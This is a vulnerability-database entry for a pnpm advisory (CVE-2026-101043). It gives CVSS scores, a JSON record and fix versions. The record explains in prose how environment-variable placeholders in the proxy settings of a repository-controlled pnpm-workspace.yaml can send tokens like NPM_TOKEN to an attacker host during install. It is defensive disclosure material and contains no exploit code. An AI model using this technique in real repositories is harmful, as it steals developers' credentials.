      "description": [
        {
          "lang": "en",
          "value": "CWE-201"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

GHSA-49PQ-2GF3-JW76

Vulnerability from github – Published: 2026-09-27 18:30 – Updated: 2026-09-27 18:30

Details

Severity

7.4 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

8.3 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-101043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-27T18:16:29Z",
    "severity": "HIGH"
  },
  "details": "pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project\u0027s pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository\u0027s pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic \u2014 and the corresponding DNS lookups \u2014 through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.",
  "id": "GHSA-49pq-2gf3-jw76",
  "modified": "2026-09-27T18:30:23Z",
  "published": "2026-09-27T18:30:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101043"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/pnpm-11.0.0-before-11.11.0-environment-variable-exfiltration-via-proxy-settings"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-101043 (GCVE-0-2026-101043)

BREW-PNPM@10-GHSA-VX52-2… (GHSA-VX52-2968-3VC6)

Summary

Impact

Affected versions

Patches

Workarounds

Proof of concept

Credit

EUVD-2026-379376

FKIE_CVE-2026-101043

GHSA-49PQ-2GF3-JW76

Tags

Sightings

Nomenclature

Related by attack behaviour